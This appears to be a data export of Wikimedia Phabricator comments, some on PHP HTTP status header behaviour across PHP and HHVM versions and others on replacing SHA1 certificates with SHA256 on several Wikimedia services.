+466822,Standardise HttpStatus header handling,"Also, were these tests run with PHP-FPM or some other FastCGI server?",,,1433176098,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-uazbd46bp32q7ojlg6fi,task_subcomment,,True,c3,1,False,,,-5,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+466820,Standardise HttpStatus header handling,">>! In T100984#1326036, @Krinkle wrote:
+> * PHP 5.6.9 (Zend)
+[...]
+> * PHP 5.3.10 (Zend)
+
+Tests against HHVM to make sure they didn't do anything differently here?",,,1433176016,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-uazbd46bp32q7ojlg6fi,task_subcomment,,True,c3,1,True,,,-5,True,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,1
+466819,Standardise HttpStatus header handling,"First, agreed with @bd808, and to add on to that, it would make a lot more sense to just use a third-party library for this functionality in the first place, but of course that would require more cleanup work rather than quick hack.",,,1433175765,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-uazbd46bp32q7ojlg6fi,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,0,1,0,0
+466791,Standardise HttpStatus header handling,"I'm not sure that this has anything to do with #librarization unless there is a 3rd party library that you want to pull in to help with standardizing this or a library is somehow going to be extracted from MW and published.
+
++1 for cleaning this up however and making some uniform and simple way to set the response code.",,,1433173628,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-uazbd46bp32q7ojlg6fi,task_subcomment,,True,c3,1,True,,,-5,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+469436,Standardise HttpStatus header handling,"I've done a bit of research to see how these are handled.
+
+Using `curl -i 'http://localhost/tmp.php'`
+
+
+Test conditions:
+* PHP 5.6.9 (Zend)
+* Apache 2.4 (mod_php5)
+* OS X 10.10 Yosemite
+* MacBook Pro
+```
+1. <?php header('HTTP/1.1 403 Funny');
+> HTTP/1.1 403 Funny
+
+2. <?php header('HTTP/1.0 403 Funny');
+> HTTP/1.0 403 Funny
+
+3. <?php header('HTTP/1.3 403 Funny');
+> HTTP/1.1 403 Funny
+
+4. <?php header('HTTP/1.x 403 Funny');
+> HTTP/1.1 403 Funny
+
+5. <?php header('HTTP/1.0 403 Not Found', true, 404);
+> HTTP/1.0 403 Not Found
+
+6. <?php header('HTTP/1.1 403 Not Found', true, 404);
+> HTTP/1.1 403 Not Found
+```
+Conclusion:
+* Invalid protocol version: Normalised to 1.1.
+* Different protocol version: Passed.
+* Custom message: Passed.
+
+-------
+
+Test conditions:
+* PHP 5.3.10 (Zend)
+* Apache 2.2 (mod_php5)
+* Ubuntu 12.04 Precise
+* Wikimedia Labs instance
+```
+1. <?php header('HTTP/1.1 403 Funny');
+> HTTP/1.1 403 Forbidden
+
+2. <?php header('HTTP/1.0 403 Funny');
+> HTTP/1.1 403 Forbidden
+
+3. <?php header('HTTP/1.3 403 Funny');
+> HTTP/1.1 403 Forbidden
+
+4. <?php header('HTTP/1.x 403 Funny');
+> HTTP/1.1 403 Forbidden
+
+5. <?php header('HTTP/1.0 403 Not Found', true, 404);
+> HTTP/1.1 403 Forbidden
+
+6. <?php header('HTTP/1.1 403 Not Found', true, 404);
+> HTTP/1.1 403 Forbidden
+```
+Conclusion:
+* Invalid protocol version: Normalised to 1.1.
+* Different protocol version: Ignored.
+* Custom message: Ignored.
+
+-------
+
+Test conditions:
+* PHP/5.5.9-1ubuntu4.9 (Zend)
+* Apache 2.4 (mod_php5)
+* Ubuntu 14 Trusty
+* Wikimedia Labs instance
+```
+1. <?php header('HTTP/1.1 403 Funny');
+> HTTP/1.1 403 Funny
+
+2. <?php header('HTTP/1.0 403 Funny');
+> HTTP/1.0 403 Funny
+
+3. <?php header('HTTP/1.3 403 Funny');
+> HTTP/1.1 403 Funny
+
+4. <?php header('HTTP/1.x 403 Funny');
+> HTTP/1.1 403 Funny
+
+5. <?php header('HTTP/1.0 403 Not Found', true, 404);
+> HTTP/1.0 403 Not Found
+
+6. <?php header('HTTP/1.1 403 Not Found', true, 404);
+> HTTP/1.1 403 Not Found
+```
+Conclusion:
+* Invalid protocol version: Normalised to 1.1.
+* Different protocol version: Passed.
+* Custom message: Passed.
+
+-------
+
+Test conditions:
+* HHVM/3.6.1
+* Apache
+* Ubuntu 14.04 Trusty
+* mw1017.eqiad.wmnet
+```
+1. <?php header('HTTP/1.1 403 Funny');
+> HTTP/1.1 403 Funny
+
+2. <?php header('HTTP/1.0 403 Funny');
+> HTTP/1.1 403 Funny
+
+3. <?php header('HTTP/1.3 403 Funny');
+> HTTP/1.1 403 Funny
+
+4. <?php header('HTTP/1.x 403 Funny');
+> HTTP/1.1 403 Funny
+
+5. <?php header('HTTP/1.0 403 Not Found', true, 404);
+> HTTP/1.1 403 Not Found
+
+6. <?php header('HTTP/1.1 403 Not Found', true, 404);
+> HTTP/1.1 403 Not Found
+```
+Conclusion:
+* Invalid protocol version: Normalised to 1.1.
+* Different protocol version: Ignored.
+* Custom message: Passed.
+",,,1433457974,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-uazbd46bp32q7ojlg6fi,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+469405,Standardise HttpStatus header handling,"I've done a bit of research to see how PHP handles these.
+
+
+
+Test conditions:
+* PHP 5.6.9 (Zend)
+* Apache 2.4 (mod_php5)
+* OS X 10.10 Yosemite
+* MacBook Pro
+
+`curl -i 'http://localhost/tmp.php'`
+```
+1. <?php header('HTTP/1.1 403 Funny');
+> HTTP/1.1 403 Funny
+
+2. <?php header('HTTP/1.0 403 Funny');
+> HTTP/1.0 403 Funny
+
+3. <?php header('HTTP/1.3 403 Funny');
+> HTTP/1.1 403 Funny
+
+4. <?php header('HTTP/1.x 403 Funny');
+> HTTP/1.1 403 Funny
+
+5. <?php header('HTTP/1.0 403 Not Found', true, 404);
+> HTTP/1.0 403 Not Found
+
+6. <?php header('HTTP/1.1 403 Not Found', true, 404);
+> HTTP/1.1 403 Not Found
+```
+
+Test conditions:
+* PHP 5.3.10 (Zend)
+* Apache 2.2 (mod_php5)
+* Ubuntu 12.04 Precise
+* Wikimedia Labs
+```
+1. <?php header('HTTP/1.1 403 Funny');
+> HTTP/1.1 403 Forbidden
+
+2. <?php header('HTTP/1.0 403 Funny');
+> HTTP/1.1 403 Forbidden
+
+3. <?php header('HTTP/1.3 403 Funny');
+> HTTP/1.1 403 Forbidden
+
+4. <?php header('HTTP/1.x 403 Funny');
+> HTTP/1.1 403 Forbidden
+
+5. <?php header('HTTP/1.0 403 Not Found', true, 404);
+> HTTP/1.1 403 Forbidden
+
+6. <?php header('HTTP/1.1 403 Not Found', true, 404);
+> HTTP/1.1 403 Forbidden
+```
+
+Test conditions:
+* PHP/5.5.9-1ubuntu4.9 (Zend)
+* Apache 2.4 (mod_php5)
+* Ubuntu 14 Trusty
+* Wikimedia Labs
+```
+1. <?php header('HTTP/1.1 403 Funny');
+> HTTP/1.1 403 Funny
+
+2. <?php header('HTTP/1.0 403 Funny');
+> HTTP/1.0 403 Funny
+
+3. <?php header('HTTP/1.3 403 Funny');
+> HTTP/1.1 403 Funny
+
+4. <?php header('HTTP/1.x 403 Funny');
+> HTTP/1.1 403 Funny
+
+5. <?php header('HTTP/1.0 403 Not Found', true, 404);
+> HTTP/1.0 403 Not Found
+
+6. <?php header('HTTP/1.1 403 Not Found', true, 404);
+> HTTP/1.1 403 Not Found
+```",,,1433456110,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-uazbd46bp32q7ojlg6fi,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,0,0,0,1
+469401,Standardise HttpStatus header handling,"I've done a bit of research to see how PHP handles these.
+
+
+
+Test conditions:
+* PHP 5.6.9 (Zend)
+* Apache 2.4
+* OS X 10.10 Yosemite
+* MacBook Pro
+
+`curl -i 'http://localhost/tmp.php'`
+```
+1. <?php header('HTTP/1.1 403 Funny');
+> HTTP/1.1 403 Funny
+
+2. <?php header('HTTP/1.0 403 Funny');
+> HTTP/1.0 403 Funny
+
+3. <?php header('HTTP/1.3 403 Funny');
+> HTTP/1.1 403 Funny
+
+4. <?php header('HTTP/1.x 403 Funny');
+> HTTP/1.1 403 Funny
+
+5. <?php header('HTTP/1.0 403 Not Found', true, 404);
+> HTTP/1.0 403 Not Found
+
+6. <?php header('HTTP/1.1 403 Not Found', true, 404);
+> HTTP/1.1 403 Not Found
+```
+
+Test conditions:
+* PHP 5.3.10 (Zend)
+* Apache 2.2
+* Ubuntu 12.04 Precise
+* Wikimedia Labs
+```
+1. <?php header('HTTP/1.1 403 Funny');
+> HTTP/1.1 403 Forbidden
+
+2. <?php header('HTTP/1.0 403 Funny');
+> HTTP/1.1 403 Forbidden
+
+3. <?php header('HTTP/1.3 403 Funny');
+> HTTP/1.1 403 Forbidden
+
+4. <?php header('HTTP/1.x 403 Funny');
+> HTTP/1.1 403 Forbidden
+
+5. <?php header('HTTP/1.0 403 Not Found', true, 404);
+> HTTP/1.1 403 Forbidden
+
+6. <?php header('HTTP/1.1 403 Not Found', true, 404);
+> HTTP/1.1 403 Forbidden
+```
+
+Test conditions:
+* PHP/5.5.9-1ubuntu4.9 (Zend)
+* Apache 2.4
+* Ubuntu 14 Trusty
+* Wikimedia Labs
+```
+1. <?php header('HTTP/1.1 403 Funny');
+> HTTP/1.1 403 Funny
+
+2. <?php header('HTTP/1.0 403 Funny');
+> HTTP/1.0 403 Funny
+
+3. <?php header('HTTP/1.3 403 Funny');
+> HTTP/1.1 403 Funny
+
+4. <?php header('HTTP/1.x 403 Funny');
+> HTTP/1.1 403 Funny
+
+5. <?php header('HTTP/1.0 403 Not Found', true, 404);
+> HTTP/1.0 403 Not Found
+
+6. <?php header('HTTP/1.1 403 Not Found', true, 404);
+> HTTP/1.1 403 Not Found
+```",,,1433455964,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-uazbd46bp32q7ojlg6fi,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,0,0,0,1
+466776,Standardise HttpStatus header handling,"I've done a bit of research to see how PHP handles these.
+
+
+
+Test conditions:
+* PHP 5.6.9 (Zend)
+* Apache 2.4
+* OS X 10.10 Yosemite
+
+`curl -i 'http://localhost/tmp.php'`
+```
+1. <?php header('HTTP/1.1 403 Funny');
+> HTTP/1.1 403 Funny
+
+2. <?php header('HTTP/1.0 403 Funny');
+> HTTP/1.0 403 Funny
+
+3. <?php header('HTTP/1.3 403 Funny');
+> HTTP/1.1 403 Funny
+
+4. <?php header('HTTP/1.x 403 Funny');
+> HTTP/1.1 403 Funny
+
+5. <?php header('HTTP/1.0 403 Not Found', true, 404);
+> HTTP/1.0 403 Not Found
+
+6. <?php header('HTTP/1.1 403 Not Found', true, 404);
+> HTTP/1.1 403 Not Found
+```
+
+Test conditions:
+* PHP 5.3.10 (Zend)
+* Apache 2.2
+* Ubuntu 12.04 Trusty
+```
+1. <?php header('HTTP/1.1 403 Funny');
+> HTTP/1.1 403 Forbidden
+
+2. <?php header('HTTP/1.0 403 Funny');
+> HTTP/1.1 403 Forbidden
+
+3. <?php header('HTTP/1.3 403 Funny');
+> HTTP/1.1 403 Forbidden
+
+4. <?php header('HTTP/1.x 403 Funny');
+> HTTP/1.1 403 Forbidden
+
+5. <?php header('HTTP/1.0 403 Not Found', true, 404);
+> HTTP/1.1 403 Forbidden
+
+6. <?php header('HTTP/1.0 403 Not Found', true, 404);
+> HTTP/1.1 403 Forbidden
+```",,,1433172338,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-uazbd46bp32q7ojlg6fi,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,0,0,0,1
+466742,Standardise HttpStatus header handling,"Change 215031 had a related patch set uploaded (by Krinkle):
+exception: Use standard message for HTTP status 500
+
+[[https://gerrit.wikimedia.org/r/215031]]
+",,,1433170637,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uazbd46bp32q7ojlg6fi,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+100835,replace tendril.wikimedia.org's sha1 cert with sha256,"Tracking task to replace tendril.wikimedia.org's sha1 cert with sha256, in multiple steps:
+
+[x] - reissue certificate in sha256
+[x] - update configuration to use new certificate
+[x] - push changes live
+[ ] - revoke old sha1 certificate",Medium,50.0,1432928583,1433275859.0,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-z2ax7hrjllplsah4gtps,task_description,resolved,True,c3,1,True,False,True,-5,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+467801,replace tendril.wikimedia.org's sha1 cert with sha256,"also was: https://gerrit.wikimedia.org/r/#/c/215403/
+
+replaced now:
+Signature algorithm 	SHA256withRSA
+
+https://www.ssllabs.com/ssltest/analyze.html?d=tendril.wikimedia.org",,,1433275859,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-z2ax7hrjllplsah4gtps,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+467790,replace tendril.wikimedia.org's sha1 cert with sha256,"Change 214692 merged by Dzahn:
+replace tendril.wikimedia.org's sha1 cert with sha256
+
+[[https://gerrit.wikimedia.org/r/214692]]",,,1433275169,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-z2ax7hrjllplsah4gtps,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+465947,replace tendril.wikimedia.org's sha1 cert with sha256,"Change 214692 had a related patch set uploaded (by RobH):
+replace tendril.wikimedia.org's sha1 cert with sha256
+
+[[https://gerrit.wikimedia.org/r/214692]]
+",,,1432928605,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-z2ax7hrjllplsah4gtps,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+100832,replace lists.wikimedia.org's sha1 cert with sha256,"Tracking task to replace list.wikimedia.org's sha1 cert with sha256, in multiple steps:
+
+[x] - reissue certificate in sha256
+[x] - update configuration to use new certificate
+[x] - push changes live
+[x] - revoke old sha1 certificate",Medium,50.0,1432927691,1433270981.0,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-minzsjnqbfcsfpgwwmf3,task_description,resolved,True,c3,1,True,True,True,-5,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+467733,replace lists.wikimedia.org's sha1 cert with sha256,"completed, resolving",,,1433270981,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-minzsjnqbfcsfpgwwmf3,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+467626,replace lists.wikimedia.org's sha1 cert with sha256,"Change 214680 merged by RobH:
+lists.wikimedia.org certificate sha1 to sha256
+
+[[https://gerrit.wikimedia.org/r/214680]]",,,1433264675,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-minzsjnqbfcsfpgwwmf3,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+466033,replace lists.wikimedia.org's sha1 cert with sha256,I'll be handling the implementation of this during my mailing list maintenance window scheduled on T100711,,,1432936764,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-minzsjnqbfcsfpgwwmf3,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+465935,replace lists.wikimedia.org's sha1 cert with sha256,"Change 214680 had a related patch set uploaded (by RobH):
+lists.wikimedia.org certificate sha1 to sha256
+
+[[https://gerrit.wikimedia.org/r/214680]]
+",,,1432927713,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-minzsjnqbfcsfpgwwmf3,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+100831,replace librenms's sha1 cert with sha256,"Tracking task to replace librenms's sha1 cert with sha256, in multiple steps:
+
+[x] - reissue certificate in sha256
+[x] - update configuration to use new certificate
+[x] - push changes live
+[ ] - revoke old sha1 certificate",Medium,50.0,1432927358,1433449483.0,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-bnpcr7iqnszzif5if6za,task_description,resolved,True,c3,1,True,False,True,-5,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+478216,replace librenms's sha1 cert with sha256,"Change 215840 abandoned by Dzahn:
+apache generic_vhost: add SSLCertificateChainFile
+
+[[https://gerrit.wikimedia.org/r/215840]]",,,1434741894,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bnpcr7iqnszzif5if6za,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+469304,replace librenms's sha1 cert with sha256,"replaced cert without making an additional config change
+
+signature algorithm is now SHA256withRSA
+
+grade A-    https://www.ssllabs.com/ssltest/analyze.html?d=librenms.wikimedia.org
+
+the - in A- is because not supporting PFS which is because this uses Apache 2.2 which is because netmon1001 is precise",,,1433449460,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-bnpcr7iqnszzif5if6za,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+469296,replace librenms's sha1 cert with sha256,"Change 214676 merged by Dzahn:
+replace librenms's sha1 cert with sha256
+
+[[https://gerrit.wikimedia.org/r/214676]]",,,1433449080,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bnpcr7iqnszzif5if6za,task_subcomment,,True,c3,1,False,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+468764,replace librenms's sha1 cert with sha256,"Change 215840 had a related patch set uploaded (by Dzahn):
+apache generic_vhost: add SSLCertificateChainFile
+
+[[https://gerrit.wikimedia.org/r/215840]]
+",,,1433381451,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bnpcr7iqnszzif5if6za,task_subcomment,,True,c3,1,False,,,-4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+467824,replace librenms's sha1 cert with sha256,"librenms doesn't use an individual .erb template for the Apache config.
+
+instead it uses @webserver::apache::site which uses templates/apache/generic_vhost.erb  which includes:
+
+SSLCACertificatePath /etc/ssl/certs
+
+but we want to change that and just specify the chained file, but that would affect other services, which is a drawback to using a generic template for everything",,,1433277235,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-bnpcr7iqnszzif5if6za,task_subcomment,,True,c3,1,True,,,-5,True,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0
+467650,replace librenms's sha1 cert with sha256,"Don't shoot me Robh, it just seems like this is your deal :)",,,1433265829,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-bnpcr7iqnszzif5if6za,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0
+465931,replace librenms's sha1 cert with sha256,"Change 214676 had a related patch set uploaded (by RobH):
+replace librenms's sha1 cert with sha256
+
+[[https://gerrit.wikimedia.org/r/214676]]
+",,,1432927379,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bnpcr7iqnszzif5if6za,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+100830,replace icinga's sha1 cert with sha256,"Tracking task to replace icinga's sha1 cert with sha256, in multiple steps:
+
+[x] - reissue certificate in sha256
+[x] - update configuration to use new certificate
+[x] - push changes live
+[ ] - revoke old sha1 certificate",Medium,50.0,1432926782,1433276109.0,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-54xunqwdualighpcmj57,task_description,resolved,True,c3,1,True,False,True,-5,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+467805,replace icinga's sha1 cert with sha256,"fixed by @bblack
+
+https://gerrit.wikimedia.org/r/#/c/215404/
+https://gerrit.wikimedia.org/r/#/c/215393/
+
+https://www.ssllabs.com/ssltest/analyze.html?d=icinga.wikimedia.org
